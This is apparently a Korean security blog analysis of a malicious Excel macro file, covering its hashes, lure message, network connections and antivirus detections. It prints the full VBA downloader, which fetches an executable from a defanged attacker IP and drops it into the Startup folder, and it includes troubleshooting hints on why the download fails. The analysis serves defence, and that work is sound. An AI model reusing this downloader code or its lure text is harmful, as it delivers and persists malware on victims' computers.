꿈을꾸는 파랑새

오늘은 엑셀로 구성된 악성코드인 DETAIL OF DEPENDENTS(2023.02.14)에 대해 글을 적어보겠습니다. 일단 해당 악성코드는 기본적으로 엑셀로 돼 있으며 해당 엑셀을 실행하면 해당 악성코드는 매크로를 사용할지 말지 물어보면 매크로를 실행하면 해당 악성코드가 실행되는 방식입니다.
일단 악성코드 해쉬값은 다음과 같습니다.
파일명:DETAIL OF DEPENDENTS.xlsm
사이즈:59.9 KB
CRC32:b605e4b6
MD5:f423d947f048a13373989185650a7562
SHA-1:c4a7747c552d77cccb5182a73a72d4c4e4018120
SHA-256:e7d2d26cc056b607b7af96cc08d66a168555afc38cf29b37729f4b90141fa5db
해당 엑셀 악성코드를 실행을 했을 경우 나오는 메시지는 다음과 같습니다.

악성코드 제공 하신 분

엑셀 매크로 악성코드
엑셀 매크로 악성코드

This document has been created in previous Microsoft Office version. 
In order to display this document correctly, it must be opened in Microsoft Office Excel application, and then: 
Enable Editing button has to be clicked. 
Enable Content button has to be clicked. 
Those two buttons will make the Microsoft Office Excel convert this document to the newest version.

악성코드 실행시 런타임 오류
악성코드 실행시 런타임 오류

이 문서는 이전 Microsoft Office 버전에서 작성되었습니다.
이 문서를 올바르게 표시하려면 Microsoft Office Excel 응용 프로그램에서 연 다음:
편집 활성화 버튼을 클릭해야 합니다.
콘텐츠 활성화 버튼을 클릭해야 합니다.

엑셀 악성코드 실행
엑셀 악성코드 실행

이 두 버튼은 Microsoft Office Excel이 이 문서를 최신 버전으로 변환하도록 합니다.
결론 매크로를 실행하라는 뜻입니다. 해당 매크로를 허용하고 실행을 하면 다음과 같은 화면이 나오는 것을 확인할 수가 있습니다. 그리고 실행이 되면 다음과 같은 엑셀 스프레드시트가 보이고 DETAIL OF DEPENDENTS 만 있는 것을 할 수가 있습니다.

악성코드에 포함이 된 매크로
악성코드에 포함이 된 매크로

Tcpview 로 보면 다음과 같습니다.

Tcpview 본 악성코드 네트워크 활동
Tcpview 본 악성코드 네트워크 활동

Protocol:Tcp
Local Address:149.129.237(.)253
Local Port:34601
Remote Address:20.224.254(.)73
Remote Port:443
State:ESTABLISHED->로컬 및 원격 간의 연결이 되어 있는 상태 
이며 해당 악성코드에 포함된 매크로는 다음과 같습니다.

엑셀 악성코드 디버그 모드
엑셀 악성코드 디버그 모드

Sub maihoonna()

     Dim nishan As String
     Dim objXmlHttpReq As Object
     Dim objStream As Object
     Dim omg As String


     nishan = "http://149.129.237(.)253/notepad.exe"
     omg = Environ("AppData") + "\Microsoft\Windows\Start Menu\Programs\Startup\"

     Set objXmlHttpReq = CreateObject("Microsoft.XMLHTTP")
     objXmlHttpReq.Open "GET", nishan, False, "username", "password"
     objXmlHttpReq.send

     If objXmlHttpReq.Status = 200 Then
          Set objStream = CreateObject("ADODB.Stream")
          objStream.Open
          objStream.Type = 1
          objStream.Write objXmlHttpReq.responseBody
          objStream.SaveToFile omg & "notepad(.)exe", 2
          objStream.Close
     End If

End Sub

해당 악성코드 실행을 하면 다음과 같이 동작을 합니다.
아래는 주어진 코드의 핵심 기능에 대한 설명입니다.:
1. 파일 삭제 기능 (Function blabla)
blabla 함수는 naam과 kardiya 라는 두 개의 매개변수를 받음
naam 은 문자열로 삭제할 이미지의 이름들을 쉼표로 구분하여 전달
kardiya 는 불리언 값 파일을 삭제하고 워크북을 저장할지를 지정
image.Delete 문장을 사용하여 이미지를 삭제
삭제한 이미지가 있는 경우 khatam 변수를 True로 설정
kardiya 가 True였으면 ThisWorkbook.Save 문장을 사용하여 워크북을 저장
2. 외부 프로그램 실행 (Sub madre)
madre 서브루틴은 hukum 이라는 매개변수를 받음 매개변수는 실행할 명령어를 전달하는 문자열
CreateObject(new:72C24DD5-D70A-438B-8A42-98424B88AFB8) 를 사용하여 외부 프로그램을 생성이 프로그램은 전달된 명령어를 실행
3. 파일 다운로드 및 저장 (Sub maihoonna)
nishan 변수에는 다운로드 할 파일의 URL이 저장
omg 변수에는 파일을 저장할 경로가 저장
objXmlHttpReq 객체를 사용하여 HTTP GET 요청을 보냄
다운로드가 성공적으로 완료되었을 때 objStream 객체를 사용하여 파일을 열고 다운로드된 파일을 저장
objStream.SaveToFile 문장을 사용하여 파일을 지정된 경로에 저장
위의 설명에서 Function blabla,Sub madre,Sub maihoonna는 주어진 코드에서 각각 함수와 서브루틴의 이름을 나타냄
코드 실행 시에는 적절한 매개변수와 값을 사용하여 함수를 호출하거나 서브루틴을 실행해야 함
objXmlHttpReq.send에서 오류가 나오는 추측입니다.
1.변수 nishan 에 유효한 URL이 할당되지 않았을 수 있음
2.네트워크 연결 문제 XMLHTTP 요청을 보내기 전에 인터넷 연결이 활성화되어 있는지 확인 또는 방화벽 설정이 요청을 차단하고 있는지 확인할 수도 있음
사용자 이름과 암호가 잘못되었을 수 있음 username 과 password 를 실제로 사용되는 유효한 사용자 이름과 암호로 대체
4.해당 스크립트가 실행되는 환경에 필요한 라이브러리나 개체가 없을 수도 있음 스크립트가 실행되는 환경에서 Microsoft.XMLHTTP 개체를 사용할 수 있는지 확인
사용하는 IP 주소

10.152.152(.)101:49239 (TCP)
10.152.152(.)101:49310 (TCP)
10.152.152(.)101:49316 (TCP)
10.152.152(.)101:49332 (TCP)
10.152.152(.)101:49343 (TCP)
10.152.152(.)101:49344 (TCP)
10.152.152(.)101:49345 (TCP)
10.152.152(.)101:49346 (TCP)
10.152.152(.)101:49349 (TCP)
10.152.152(.)101:49350 (TCP)
149.129.237(.)253:80 (TCP)
224.0.0(.)252:5355 (UDP)
239.255.255(.)250:1900 (UDP)
255.255.255.255:67 (UDP)

2023-05-17 16:19:33 UTC 기준 바이러스토탈에서 탐지하는 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
Alibaba"TrojanDownloader:VBA/Maldoc.ali1000107
Antiy-AVL:Trojan[Downloader]/MSOffice.Agent
Arcabit:Trojan.Generic.D3E96EC1
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
Avira (no cloud):TR/Dldr.Script.ielnq
Baidu:VBA.Trojan-Downloader.Agent.dvv
BitDefender:Trojan.GenericKD.65629889
ClamAV:Doc.Dropper.Agent-6412232-1
Cynet:Malicious (score: 99)
Cyren:W97M/Agent.DV
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKD.65629889 (B)
eScan:Trojan.GenericKD.65629889
F-Secure:Trojan:W97M/MaliciousMacro.GEN
Fortinet:VBA/Agent.6412!tr
GData:Trojan.GenericKD.65629889
Ikarus:Trojan.VB.Valyria
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.MSExcel.Generic.4!c
MAX:Malware (ai Score=88)
McAfee-GW-Edition:BehavesLike.Downloader.qc
NANO-Antivirus:Trojan.Ole2.Vbs-heuristic.druvzi
Rising:Heur.Macro.Downloader.d (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious OPENXML
Sophos:Mal/Generic-S
Symantec:ISB.Dropper!gen4
TACHYON:Suspicious/XOX.DNL.Gen
Tencent:Heur.MSWord.Downloader.d
Trellix (FireEye):Trojan.GenericKD.65629889
VIPRE:Trojan.GenericKD.65629889
ViRobot:XLS.Z.Agent.61341
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.Script.Generic
결론 매크로를 실행 하라고 하면 매크로 실행을 하지 말아야 되면 백신프로그램(안티 바이러스)프로그램을 설치를 해서 안전하게 사용을 해야 하고 기본적인 보안수칙을 지키면 안전하게 사용을 할수가 있습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band